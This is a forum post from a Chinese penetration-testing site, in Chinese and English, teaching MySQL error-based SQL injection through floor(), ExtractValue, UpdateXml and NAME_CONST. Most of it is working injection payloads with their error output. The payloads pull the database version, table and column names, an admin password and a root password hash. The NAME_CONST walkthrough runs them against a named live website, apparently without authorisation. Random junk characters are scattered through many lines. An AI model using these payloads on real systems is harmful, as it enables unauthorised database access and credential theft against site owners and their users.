中国网络渗透测试联盟
标题: mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法 [打印本页]
作者: admin 时间: 2015-11-11 19:03
标题: mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法
1、通过floor报错
可以通过如下一些利用代码
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
举例如下：
8 }" d. n8 l: q& ~- I% G首先进行正常查询：
mysql> select * from article where id = 1;5 G$ o! E5 D+ D
+—-+——-+———+8 w0 f6 Q8 u, W m, `& o* ?
| id | title | content |
1 G8 |; v. S3 H9 Y8 @) H+—-+——-+———+
$ t. u. X+ J4 d; f" E3 c| 1 | test | do it |
* Z, E9 \5 o: t2 _: X! f, X+—-+——-+———+
假如id输入存在注入的话，可以通过如下语句进行报错。
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);; a0 `" C1 y; Z1 r7 C4 i
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。( V% E: p0 b8 O6 N) n
例如我们需要查询管理员用户名和密码：
Method1:
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
5 W) j( s5 J; s2 WERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’
Method2:
mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));% E2 M8 |. n* n/ z s( p0 t7 o
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’
2、ExtractValue
* B# d, X* O2 `( a# e测试语句如下
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–4 f: r% ~: n8 j
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′
3、UpdateXml
测试语句
and 1=(updatexml(1,concat(0x3a,(select user())),1))
实际测试过程
mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
$ V6 P5 H" y5 g) o
) k9 ?9 `; Q$ s" ~2 j# U. w再收集：
( b9 n) @; E+ N- E" o
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
: J* n; h+ Y2 i* H9 d2 B) N6 r6 h2 A
Error
uplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’4 W3 e5 }. Y# g) j
5 G' x+ A3 x- r: E3 Ahttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
# r+ c+ p2 w, K; g: @; D$ q4 a8 J+ u/ F- p; W- m. @, x
Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′ ! a W, B& M+ |9 J
2 h7 n z' C! D3 [+ C3 i
MYSQL高版本报错注入技巧-利用NAME_CONST注入
' _ P, t2 M; F- L: G% w2 c. V% H3 v ZIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
2 X6 i L9 x) w* p! h7 O) ~" n8 u- M# v6 p% u# ^' J& P. K
) `5 w" U9 {4 G. L* y; v. \相关信息( V1 n+ W9 D* ]8 a& D
2 S) \! u) |& v$ O0 t. M
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.& I% p/ F, p2 S1 ]" W
& U: e( J1 T& R8 DCode:/ n, _- L q" M% ~3 J$ M6 f
NAME_CONST(DATA, VALUE)
$ U' V$ \! g2 M
' i* \" u# l1 o- @: ZReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
* C! k: ] u" _) ]. x# }; W/ o* Y" ^& y, `) Z& Q3 c. G6 E
SELECT NAME_CONST('TEST', 1)
; M# y9 R2 E2 t, s+ g$ p3 e" R8 e" `6 N% x, f @9 L
9 s: Y: H2 R, S1 t! W7 A3 \5 V
7 K* H0 Z1 l) v7 T6 f: V2 K
|---------------|
9 j/ Y6 p5 v; c7 l3 G3 i| TEST |) o/ c; G# _: O
| |
0 J% K6 T) y, \ `|---------------|: o+ ^4 V# n: G! g" N/ y3 [
| 1 |& Z3 }3 R1 Z D. z, T9 c( E
| |
4 j8 b8 C: [! l: k|---------------|, W S. `4 Q3 L$ D6 F- g3 i7 K) R
0 K8 S4 l) s: I, ~8 ^. t, h) p
- ~& ~' L' j) ]/ g4 S0 m8 k' c9 H2 U
& ]: J- l% H6 j6 H: N* P3 o0 A$ _5 s3 w/ w, o
http://dev.mysql.com/doc/refman/5.0/en/m...name-const
% R) Z* Y3 F) Q3 n PIntro to MySQL Variables
# \9 K: ~1 ^7 J1 Y4 L2 ?7 y. A K: A( W' O- Q) P/ U3 D
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.: N4 y: ~1 j, m
2 G) S7 x2 b% u, ? u8 n" \1 pCode:2 i5 Y. A+ Q( _5 @5 Q
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
1 l4 `/ g1 T. Y+ I, @% ^7 i
& Q# c" s5 ^: X, S
& ]# a- I" \3 f, O$ Z. |5 p N6 @. z6 K6 K/ `; ]6 [/ E* E% ~
, l1 E! t2 L) K& Z. f% u8 |
- b5 s4 @* ?3 r3 Z5 m
Code: Y) m8 F4 _5 L- T" L2 C/ g: ]6 _
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--4 O( C; u- f# K$ R& c0 X
# Z- p7 I/ u( j/ e$ u3 c/ N& Q, D$ G, [+ _ C7 F* [, H
VAR = Your MySQL variable.
1 D. C/ L! {) K+ o; Z D l; r& {/ k% G# p# v/ x% D
MySQL 5.1.3 Server System Variables ^* P3 H; c9 E# q5 u5 H
5 j6 d7 M8 M; j6 M$ V
Let's try it out on my site..
; T" f7 D. K% b& v# z" Q* s# x/ y( P. q
Code:
: f+ S; J; y4 R) W* M' e5 o- dhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--5 _" V$ O. X4 @/ v4 v, @/ E. V
) }- A8 e7 _! i
Erroruplicate column name '5.0.27-community-nt'
- v& a: J: G3 e2 h' M: d2 P0 j1 R
* U m0 q0 p! I: D0 a4 P; b5 B5 R2 _/ [1 ?! m& J6 K: ^
* }: y# P6 G& _
4 N. N/ P. y( @$ g( f/ f
7 g7 s1 ]/ b0 \# sNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...& e7 U2 g+ |" J5 ^
& W3 k! n9 o4 CData Extraction- x" I7 [ ]1 V5 y" @
( B: y2 {; r4 G, |1 S
Code:% G6 _$ c8 ?, d1 S! ], [8 x4 w
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
+ Q. l# w( b" [2 M( q- s
% a5 o7 e$ N: f( Q! E0 M* l% O% N
6 a. H+ ?+ [& dWe should get a duplicate column 1 error...
! Q/ `& K( w) s& G" F* o
& `& V/ a' J" `9 Z4 t lCode:0 @: x- {" z6 U, t8 g+ y
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
% H( N# Y% T* U+ r E) ~% p
6 r: w: |( c& L0 v; Z6 C" T; IErroruplicate column name '1
# I" y) t, s: p- `2 X; s. m" q' V8 H! A7 x# z
. \7 @5 K6 T9 ]. e: i; w" @+ c* V9 U" Y) ]" z
6 d; o4 m3 \1 W3 @! V, r& ]! M
1 W* z. E6 _1 {6 Y6 Z
3 e# v/ u1 {1 F3 u/ }+ ANow let's get the tables out this bitch..
7 y% [* Z+ [4 x+ M+ e" Y0 c9 [- d
% b6 h* |4 j6 a% LCode:
0 M2 L* G7 U6 s0 ]; }. o6 W. j+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
5 {- W! [3 n0 x( Y/ _ `3 F. \" \* Y' n% J- d- g
. A: V; \+ `5 q R- y9 J
Let's see if it works here, if it does, we can go on and finish the job.
- Y* E2 i$ T+ _; [) i2 z
: |. g& e- V2 h* E, [Code:
1 J) u' f7 ~# l1 Vhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
% g/ i8 j6 I! [$ i% | v7 V2 X4 q% E) m* j
. u& j: c; S2 |, l! m4 fErroruplicate column name 'com_admanage
+ y) g4 _; x9 h1 |. D f5 d% l! P3 V1 {
+ M8 w ~1 U$ h. ~5 q
% z+ d' Y s$ p! F* h5 D) H& e% W4 ]& }8 g2 s- p* I' ?# Q6 l2 F
) ?* V9 O7 z3 A- n5 _
( Y M' R1 X9 ~! P J& FNow I'm going to be lazy and use mysql.user as an example, just for the sake of time., M8 T; k0 u( v+ D. Z" `
3 q, \: @' l" S% }/ Z
Let's get the columns out of the user table..# L9 z0 y3 @+ g/ j }
) m, O( x( I. Y& s
Code:
, p% y, P2 x' \9 D+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--4 \4 v! \- l; l- S
& T' c5 ]: S& }, }( o/ k
6 x3 z" l- A. A: k& P& X6 Y* M3 BSo mine looks like this, and I get the duplicate column name 'Host'.
+ u* k: b, e: E0 t" x6 S& M# f3 B7 r+ W. i: g
Code:
N5 c. Y- e% f9 A; Dhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
; X4 N( ?+ E, ^- R1 t( s. D' H# E5 s. j6 q( m4 G5 W; j% ~
Erroruplicate column name 'Host'# T) m( O3 X5 R5 F$ y5 g& y2 f
& O: n8 a: O* G( t4 T' U/ ]5 b- w$ I
# i; T3 |4 e' Z7 ^; M5 C* j, D
/ B4 O/ D% K3 |& Z& n
) }5 Y# u& A& r' v( h. T3 i! x% [$ h) x# h9 r% @3 q
8 X% T a l3 M T' E% u. _$ PWoot, time to finish this bitch off." \- Y2 X: [2 {) q! b1 m5 {
6 Z+ \9 y; g5 ^, HCode:
- P/ x |9 Q+ Z, F& C' C. n+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
& ?$ c( a+ G2 e* B/ w, m) [0 E# P) s* z7 h- j$ e8 _
$ a5 N0 @5 M* o
So mine looks like this...
' U. _! v8 h/ A7 r( }
; w3 R5 \7 C9 {' H5 WCode:
5 O$ g, x1 l! F+ phttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
' O9 a4 [/ U' x) V* P
]; T5 n. R S9 JErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
" Z; j/ }7 r* X X" Z/ _% G3 J* m0 A" A3 P: K9 ?1 @
9 p, C5 V/ P5 a9 r
A% H1 ~/ K' d: F
$ |. J% M+ i% j' ^+ n) R. l4 x7 ^. k# f7 Q5 L D
0 t7 j: c' Z4 n- `# I, `8 `
And there we have it, thanks for reading.- P& Y! Z: b3 Z" _
8 b3 g7 V( R1 n
| 欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) |
Powered by Discuz! X3.2 |